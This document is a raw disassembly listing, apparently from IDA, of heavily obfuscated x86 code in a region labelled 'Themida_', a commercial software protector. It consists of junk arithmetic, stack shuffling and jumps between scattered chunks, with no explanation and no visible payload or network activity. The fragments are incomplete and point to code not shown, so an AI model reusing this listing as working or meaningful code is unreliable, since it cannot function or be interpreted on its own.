sub eax, 4 xchg eax, [esp] pop esp mov [esp], esp push ecx mov ecx, 4 jmp loc_567A67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C69B: ; CODE XREF: sub_56755A+76B4j xor edi, ebp not ebp push edi push ebp jmp loc_5648BF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C6A6: ; CODE XREF: Themida_:005699A6j push 1E5Dh mov [esp], ecx push esp pop ecx push 39A7h mov [esp], ebp sub esp, 4 jmp loc_56DA7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C6C3: ; CODE XREF: sub_56755A+932j and edi, eax mov eax, [esp+1Eh+var_20+2] jmp loc_56AD66 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C6CD: ; CODE XREF: Themida_:0055EE3Cj add esp, 4 add cl, 4Ah sub cl, 7Eh add cl, dh push edx jmp loc_565FCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C6DE: ; CODE XREF: sub_56755A+853j add ebx, esi pop esi add ebx, 4 xchg ebx, [esp+1Ah+var_1C+2] jmp loc_569690 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C6EF: ; CODE XREF: Themida_:0056D523j mov esi, 44B2BC5h dec esi jmp loc_562444 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562272 loc_55C6FA: ; CODE XREF: sub_562272+A8BEj or edx, eax shl edx, 1 sub esp, 4 mov [esp+4+var_4], edx push 4186h mov [esp+8+var_8], edi jmp loc_56F675 ; END OF FUNCTION CHUNK FOR sub_562272 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C711: ; CODE XREF: sub_56755A-BE34j mov [esp+8+var_8], ebx jmp loc_5647F1 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_55C719 proc near ; CODE XREF: sub_55E99C+67Ej var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055B83C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055BE48 SIZE 00000049 BYTES ; FUNCTION CHUNK AT 0055EE4A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0055F92E SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0055FC88 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00560566 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00564C5B SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0056551D SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00566E46 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00566F1E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005672E3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005688E3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A83C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056C8AB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F9C0 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056FC09 SIZE 00000026 BYTES push ebp mov ebp, 796D1819h add ecx, ebp jmp loc_56551D sub_55C719 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C726: ; CODE XREF: sub_56755A-960Bj add edx, 0FC72D3Bh mov edi, [esp+8+var_8] push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_563112 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_55C743: ; CODE XREF: sub_56B774-4933j pop esi pop [esp+0Ch+var_C] mov esp, [esp+8+var_8] mov [esp-8+arg_4], edx push eax pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56B774 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C754: ; CODE XREF: sub_56755A+186Ej pop edx push dx mov dh, 3Fh xor al, dh pop dx push edx mov dl, 90h xor al, dl pop edx or bh, al pop eax push edx mov dl, 43h neg dl jmp loc_565CCF ; --------------------------------------------------------------------------- loc_55C770: ; CODE XREF: sub_56755A-A905j pop edx jmp loc_567A3F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C776: ; CODE XREF: Themida_:0055E4FBj not ecx shl ecx, 2 push esi mov esi, 79464AADh jmp loc_5676A2 ; --------------------------------------------------------------------------- loc_55C786: ; CODE XREF: Themida_:0055C617j inc al add al, 0C9h mov bh, al pop eax add al, bh pop bx sub al, dh sub esp, 4 mov [esp], ebx mov bl, 75h sub al, bl pop ebx jmp loc_56D096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EAA9 loc_55C7A6: ; CODE XREF: sub_56EAA9-12D2Dj xor ebx, 9ADA851Ah add ebp, ebx pop ebx add ebp, 4 jmp loc_56EAFD ; END OF FUNCTION CHUNK FOR sub_56EAA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C7B7: ; CODE XREF: sub_56755A+2ABj pop esp mov [esp+0], ecx push [esp+arg_0] pop ecx pop dword ptr [esp+0] jmp loc_55CF3F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_55C7C8: ; CODE XREF: sub_5615A9+3179j mov bh, ch pop ecx jmp loc_56FD89 ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- loc_55C7D0: ; CODE XREF: Themida_:0056AAE3j mov ebx, esp push esi push ebp jmp loc_569503 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C7D9: ; CODE XREF: sub_56755A-1ED4j pop ecx neg ebx inc ebx jmp loc_562A90 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_55C7E2: ; CODE XREF: sub_5636A9+BEBFj pop ebx add ah, 18h sub ah, 17h shr ah, 5 jmp loc_568435 ; END OF FUNCTION CHUNK FOR sub_5636A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C7F1: ; CODE XREF: sub_56755A+3232j mov eax, 19195488h mov ebx, eax pop eax or ebx, 366272A4h inc ebx add ebx, 632A6265h push edi mov edi, 5D5A26F2h add ebx, 3F6F02CDh add ebx, edi sub ebx, 3F6F02CDh jmp loc_57048C ; --------------------------------------------------------------------------- loc_55C81F: ; CODE XREF: sub_56755A+ACFj mov edx, [esp-8+arg_4] add esp, 4 loc_55C828: ; CODE XREF: sub_56755A-822Dj push 14E9h jmp loc_567003 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C832: ; CODE XREF: Themida_:00562154j sub ebx, ebp pop ebp not ebx sub ebx, 8052DA9h add ebx, 0E2E378F9h jmp loc_5602EC ; --------------------------------------------------------------------------- loc_55C848: ; CODE XREF: Themida_:005637FEj or edx, 628C7D08h dec edx sub edx, 77F8AC55h add ecx, edx pop edx dec ecx add ecx, 2AF22A5Ch jmp loc_56C581 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_55C864: ; CODE XREF: sub_568D4B-7C5j push eax jmp loc_569210 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56970A loc_55C86A: ; CODE XREF: sub_56970A-B7F5j dec ebp add ebp, 0FFFFFFFFh not ebp xor ebp, 0FD19C7E1h xor edx, ebp mov ebp, [esp+4+var_4] add esp, 4 add esi, 8465558h add esi, edx push eax mov eax, 10330F04h jmp loc_560881 ; END OF FUNCTION CHUNK FOR sub_56970A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C897: ; CODE XREF: sub_56755A+6D89j pop esp mov [esp-0Ch+arg_8], ecx sub esp, 4 jmp loc_568F72 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_55C8A3: ; CODE XREF: sub_56B62C-67E1j neg bh sub esp, 4 mov [esp+0Eh+var_E], edx mov dh, 0D8h jmp loc_56CBB2 ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_55C8B2: ; CODE XREF: sub_560B67+46D9j add eax, edx pop edx add eax, 4 xchg eax, [esp+4+var_4] mov esp, [esp+4+var_4] sub esp, 4 jmp loc_560DEB ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C8CB: ; CODE XREF: sub_56755A-9F1Bj pop ecx push esi not [esp-8+arg_4] jmp loc_56986D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560FD7 loc_55C8D5: ; CODE XREF: sub_560FD7+53BAj push eax mov al, bl mov dl, al pop eax mov cl, dl jmp loc_565C0B ; END OF FUNCTION CHUNK FOR sub_560FD7 ; --------------------------------------------------------------------------- loc_55C8E2: ; CODE XREF: Themida_:0056022Bj pop dword ptr [esp] jmp loc_561695 ; --------------------------------------------------------------------------- loc_55C8EA: ; CODE XREF: Themida_:0056B357j push ecx jmp loc_56B0A5 ; --------------------------------------------------------------------------- loc_55C8F0: ; CODE XREF: Themida_:0056CF08j mov edi, edx pop edx shr edi, 1 not edi xor edi, 0FE0A492Fh or esi, edi push dword ptr [esp] pop edi add esp, 4 sub esi, 1 push edi mov edi, 14D44C0Dh add edi, 30737254h or edi, 1B6B40C9h dec edi jmp loc_563C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C927: ; CODE XREF: sub_56755A-1340j push edi jmp loc_56D2C0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C92D: ; CODE XREF: Themida_:0056B0EAj pop dword ptr [esp] pop esp jmp loc_562CDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_55C936: ; CODE XREF: sub_56CB1B-AEE6j add ebx, esi pop esi sub ebx, 4 xchg ebx, [esp+8+var_8] pop esp mov [esp+4+var_4], edx push 30AC0A62h pop edx jmp loc_56509B ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- loc_55C94E: ; CODE XREF: Themida_:00561951j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] test cl, al pushf jmp loc_561B6B ; --------------------------------------------------------------------------- loc_55C962: ; CODE XREF: Themida_:0055F128j add esp, 4 push edi push esi mov esi, 3345B29h shr esi, 1 xor esi, 623D4563h add esi, 2C822090h add esi, 0A43FF31Ah mov edi, esi pop esi jmp loc_56E581 ; --------------------------------------------------------------------------- loc_55C988: ; CODE XREF: Themida_:0056A228j xor ebx, 0D0AA81Ch jmp loc_56F521 ; --------------------------------------------------------------------------- loc_55C993: ; CODE XREF: Themida_:0055EC5Aj mov edi, 79ED42C9h mov eax, edi mov edi, [esp] add esp, 4 xor eax, 454520ECh shr eax, 4 push ecx push edx jmp loc_563AEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_55C9AF: ; CODE XREF: sub_570668-FF16j not eax xchg eax, [esp+4+var_4] mov edi, [esp+4+var_4] add esp, 4 jmp loc_563622 ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C9C2: ; CODE XREF: sub_56755A+151Ej pop esp ror word ptr [esp-8+arg_4], cl pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C9CD: ; CODE XREF: Themida_:0055BA92j pop ebp jmp loc_56EA5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C9D3: ; CODE XREF: sub_56755A+46D9j mov esp, [esp-4+arg_0] push dword ptr [edi+eax*4] push dword ptr [esp+0] mov eax, [esp+4+var_4] add esp, 4 jmp loc_56F043 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563616 loc_55C9E7: ; CODE XREF: sub_563616-425Dj pop eax push ebp jmp loc_55C468 ; END OF FUNCTION CHUNK FOR sub_563616 ; --------------------------------------------------------------------------- loc_55C9EE: ; CODE XREF: Themida_:0055C56Ej mov esi, 5D3E4D49h mov edi, esi pop esi jmp loc_560F10 ; --------------------------------------------------------------------------- loc_55C9FB: ; CODE XREF: Themida_:0056F70Aj add esp, 4 sub esp, 4 jmp loc_56FBF9 ; --------------------------------------------------------------------------- loc_55CA06: ; CODE XREF: Themida_:0055E88Ej mov [esp], esp jmp loc_560D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CA0E: ; CODE XREF: sub_56755A+3384j xor [esp+0], edx xor edx, [esp+0] mov esp, [esp+0] mov bh, al mov eax, [esp+0] push ebx mov ebx, esp add ebx, 4 jmp loc_568DB3 ; --------------------------------------------------------------------------- loc_55CA2A: ; CODE XREF: sub_56755A+2127j push esp pop eax add eax, 4 sub esp, 4 mov [esp+8+var_8], ebx push 4F8E1432h mov ebx, [esp+0Ch+var_C] add esp, 4 shl ebx, 3 inc ebx xor ebx, 7C70A193h push esi mov esi, 4EE4C71h add eax, esi pop esi sub eax, ebx sub esp, 4 mov [esp+0Ch+var_C], ebx jmp loc_567F15 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55CA68: ; CODE XREF: Themida_:0056C46Ej push 8A8h mov [esp], esi mov esi, 13FC5387h and edi, esi pop esi jmp loc_56049D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_55CA7D: ; CODE XREF: sub_56CEE9-8FEEj inc ebx neg ebx dec ebx add ebx, 1D49287Ah add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], edx jmp loc_56186F ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_55CA99: ; CODE XREF: sub_560B67+B56j sub edi, 0ECBF6E7Ch jmp loc_55DCDE ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_56B27F ; --------------------------------------------------------------------------- loc_55CAB3: ; CODE XREF: Themida_:0056E7CFj add ebp, 4 jmp loc_55D77A ; --------------------------------------------------------------------------- loc_55CABE: ; CODE XREF: Themida_:0056E5FCj add dh, bl jmp loc_56BF60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55CAC5: ; CODE XREF: sub_56E89A-3BDFj shr edx, 1 cmp eax, edx jz loc_570536 push edx sub esp, 4 jmp loc_56810C ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_55CAD8: ; CODE XREF: sub_566504+8A09j push esi jmp sub_55E931 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- loc_55CADE: ; CODE XREF: Themida_:00562915j mov eax, 4 sub ebp, eax mov eax, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 15065144h jmp loc_562D80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55CB01: ; CODE XREF: sub_56E89A-9F6Dj xor esi, eax xor eax, esi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+4+var_4] pop esp mov [esp+0], esi sub esp, 4 jmp loc_56EF3F ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CB22: ; CODE XREF: sub_56755A-401Ej sub edx, 4 xchg edx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], esp add [esp+8+var_8], 4 mov ebx, [esp+8+var_8] jmp loc_56D17D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564E24 loc_55CB51: ; CODE XREF: sub_564E24+4B1Fj sub ecx, 2C123F07h pop eax jmp loc_55C48B ; END OF FUNCTION CHUNK FOR sub_564E24 ; --------------------------------------------------------------------------- loc_55CB5D: ; CODE XREF: Themida_:0055FA44j push 2A60h mov [esp], esi push 7486779Dh jmp loc_567C0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CB6F: ; CODE XREF: sub_56755A+818Fj mov [esp+8+var_8], edi mov edi, 386E7EDCh inc edi and edi, 14C907D8h sub edi, 504B4CEAh xchg esi, edi dec esi not esi xchg esi, edi push ebp jmp loc_55FE2A ; --------------------------------------------------------------------------- loc_55CB91: ; CODE XREF: sub_56755A-4853j shr si, 2 push edi mov di, 948h dec di jmp loc_55BAC5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55CBA1: ; CODE XREF: Themida_:0056DB69j mov ebx, 9D734AEh neg ebx and ebx, 71631000h or ebx, 0D92624Dh dec ebx shl ebx, 2 jmp loc_56012B ; --------------------------------------------------------------------------- loc_55CBBD: ; CODE XREF: Themida_:0055BEDCj sub esp, 4 mov [esp], ebx push esp push dword ptr [esp] mov ebx, [esp] add esp, 4 push eax mov eax, esp jmp loc_57000D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CBD8: ; CODE XREF: sub_56755A+630j push ecx jmp loc_55D76F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A500 loc_55CBDE: ; CODE XREF: sub_56A500-3D0j pop [esp+0Ch+var_C] add [esp+8+var_8], 4 push [esp+8+var_8] jmp loc_55C3B3 ; END OF FUNCTION CHUNK FOR sub_56A500 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CBF0: ; CODE XREF: sub_56755A+4E92j xor esi, [esp+14h+var_14] jmp loc_56B1DE ; --------------------------------------------------------------------------- loc_55CBF8: ; CODE XREF: sub_56755A+82AAj shr ah, 1 add ah, 11h sub ah, 82h shr ah, 1 jmp loc_568BAC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FFC1 loc_55CC07: ; CODE XREF: sub_55FFC1+A80Cj add eax, [ebx] jmp loc_564F82 ; END OF FUNCTION CHUNK FOR sub_55FFC1 ; --------------------------------------------------------------------------- loc_55CC0E: ; CODE XREF: Themida_:00564750j pop edi add esi, 1E4C7Dh push edi mov edi, 47501520h add esi, edi jmp loc_56E64B ; --------------------------------------------------------------------------- loc_55CC22: ; CODE XREF: Themida_:005642A0j pop esp mov [esp], esi push dword ptr [esp+4] pop esi jmp loc_55F47C ; --------------------------------------------------------------------------- loc_55CC30: ; CODE XREF: Themida_:0056D4CBj push ebx mov bh, 0D2h shr bh, 2 sub bh, 0EFh xor cl, bh pop ebx push cx not byte ptr [esp] pop cx sub cl, 73h or dh, cl jmp loc_55EA0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CC4D: ; CODE XREF: sub_56755A-208Fj sub edx, 78AF7FBAh sub ebx, edx jmp loc_55C770 ; --------------------------------------------------------------------------- loc_55CC5A: ; CODE XREF: sub_56755A-5D34j pop ebx xchg dl, cl push edx jmp loc_56C7F7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55CC63: ; CODE XREF: Themida_:0056FC04j xor esi, [esp] jmp loc_568173 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CC6B: ; CODE XREF: sub_56755A-5AE8j add ebp, 648D2B60h shr ebp, 6 xor ebp, 47815331h mov ebx, ebp jmp loc_56922B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_55CC81: ; CODE XREF: sub_56CB7D-93A7j xor eax, ecx jmp loc_5669C0 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_55CC88: ; CODE XREF: Themida_:0055EC37j pop ecx sub ebx, 639E240Bh push 72E9h mov [esp], esi push 21E12CB9h pop esi jmp loc_56B647 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CCA2: ; CODE XREF: sub_56755A-3A04j mov al, 4Bh push edx mov dh, al push ecx jmp loc_55CFC3 ; --------------------------------------------------------------------------- loc_55CCAD: ; CODE XREF: sub_56755A-75A6j mov [esp+1Ch+var_1C], ecx mov ecx, 4 sub [esp+1Ch+var_18], 7ED73440h add [esp+1Ch+var_18], ecx jmp loc_5689CF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55CCC6: ; CODE XREF: Themida_:00568780j mov esp, [esp] mov dx, [esp] push ebp mov ebp, esp push ecx mov ecx, esp push edx mov edx, 0A841A9Eh xor edx, 6C77598Eh jmp loc_563293 ; --------------------------------------------------------------------------- loc_55CCE4: ; CODE XREF: Themida_:0055C517j push di mov di, 1C40h mov si, di pop di add ax, 1362h add ax, 2F46h add ax, si sub ax, 2F46h jmp loc_56596F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_55CD03: ; CODE XREF: sub_5636A9+57C5j dec bl jmp loc_56F55D ; END OF FUNCTION CHUNK FOR sub_5636A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CD0A: ; CODE XREF: sub_56755A+BDFj mov [esp+1Ch+var_1C], edx push 4 mov edx, [esp+20h+var_20] add esp, 4 jmp loc_56B99D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55CD1D: ; CODE XREF: Themida_:00568758j pop ecx inc ebx or ebx, 6EBE2C21h neg ebx jmp loc_56FB39 ; --------------------------------------------------------------------------- loc_55CD2C: ; CODE XREF: Themida_:0056505Ej sub ebp, esi jmp loc_56E880 ; --------------------------------------------------------------------------- loc_55CD33: ; CODE XREF: Themida_:0056A818j push 0B82h mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_56E087 ; --------------------------------------------------------------------------- loc_55CD4D: ; CODE XREF: Themida_:0056C8C9j add edx, 483C01CBh xor edx, 61CE5525h jmp loc_561EBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CD5E: ; CODE XREF: sub_56755A+91FFj xor edi, edx xor edx, edi jmp loc_55FD73 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_55CD67: ; CODE XREF: sub_5635DE+CC35j add edi, 2C623396h shr edi, 1 dec edi push ecx mov ecx, 7F07A2Bh jmp loc_569763 ; END OF FUNCTION CHUNK FOR sub_5635DE ; =============== S U B R O U T I N E ======================================= sub_55CD7B proc near ; CODE XREF: sub_56BD7C+Dj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055B806 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0055E0A3 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0055F4A7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056034D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056111F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00561746 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056236B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005629CE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00563541 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005635CD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005638B5 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00563A20 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00563E47 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056A0BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A150 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056A7EA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056B1CB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056B5D6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056C958 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056EA6F SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0056EF47 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056F1CC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056F861 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F95E SIZE 00000007 BYTES push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_55B806 sub_55CD7B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CD9B: ; CODE XREF: sub_56755A+81BDj push 3E78h mov [esp+20h+var_20], ebx sub [esp+20h+var_20], 1 pop ebx jmp sub_565F9F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55CDB0: ; CODE XREF: Themida_:0055DC6Bj add ecx, ebp jmp loc_55BE91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C4A loc_55CDB7: ; CODE XREF: sub_565C4A-4963j sub ecx, 5D1F76EBh push ecx not [esp+4+var_4] inc [esp+4+var_4] mov ecx, [esp+4+var_4] add esp, 4 shl ecx, 1 add ecx, 0D0F5ADCEh add edi, 6EF34CD1h add edi, ecx sub edi, 6EF34CD1h mov ecx, [esp+0] add esp, 4 push ecx mov ecx, 2 jmp loc_564AC7 ; END OF FUNCTION CHUNK FOR sub_565C4A ; --------------------------------------------------------------------------- loc_55CDF4: ; CODE XREF: Themida_:00569746j mov esi, edx mov edx, [esp] add esp, 4 add ecx, esi pop esi sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_562B0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CE13: ; CODE XREF: sub_56755A+791Fj add ecx, 4 jmp loc_568CD9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55CE1E: ; CODE XREF: Themida_:00561904j add ebx, 4 push 12Bh mov [esp], ebp push 4 pop ebp add ebx, 47DA7F8Eh add ebx, 7B673E58h add ebx, ebp push edx mov edx, 7B673E58h sub ebx, edx pop edx sub ebx, 47DA7F8Eh push dword ptr [esp] pop ebp push eax push esp pop eax jmp loc_56D8D0 ; --------------------------------------------------------------------------- loc_55CE5B: ; CODE XREF: Themida_:0055F8E2j and ebp, 36A03B49h push 57Fh mov [esp], eax mov eax, 56AC08D2h inc eax shl eax, 7 jmp loc_564420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D600 loc_55CE77: ; CODE XREF: sub_56D600-B51Aj push edx mov dh, 34h sub dh, 18h sub al, dh pop edx sub al, 11h sub dh, al pop eax or dh, 27h sub dh, 0A6h mov bl, 0F4h xor bl, dh pop edx push small 6F6Dh mov word ptr [esp-6+arg_0+2], ax mov al, 0A1h sub bl, 4 jmp loc_5673AD ; END OF FUNCTION CHUNK FOR sub_56D600 ; --------------------------------------------------------------------------- loc_55CEA2: ; CODE XREF: Themida_:00565C36j push ecx mov ecx, 7CF82D45h add eax, ecx jmp loc_56399F ; --------------------------------------------------------------------------- loc_55CEAF: ; CODE XREF: Themida_:00561A86j sub ecx, 0FFFFFFFFh jmp loc_569F95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CEB7: ; CODE XREF: sub_56755A-E80j sub ecx, 0BE4230h add edx, ecx pop ecx push eax jmp loc_563BC8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_55CEC6: ; CODE XREF: sub_56026A+21j xor eax, ebp pop ebp add edi, eax jmp loc_56D530 ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CED0: ; CODE XREF: sub_56755A+4B0j or edx, 65620970h xor edx, 24212C3Dh jmp loc_56F8CA ; --------------------------------------------------------------------------- loc_55CEE1: ; CODE XREF: sub_56755A+226Fj push edi mov edi, 4FB859F4h push esi mov esi, 274D4AC1h not esi and esi, 1DE716B9h and esi, 131D41F3h xor esi, 27A87ADBh add ebx, esi pop esi add ebx, edi sub ebx, 37A87AEBh mov edi, [esp+20h+var_20] add esp, 4 sub esp, 4 mov [esp+20h+var_20], edi mov edi, 41A43025h dec edi jmp loc_55B8CA ; END OF FUNCTION CHUNK FOR sub_56755A ; 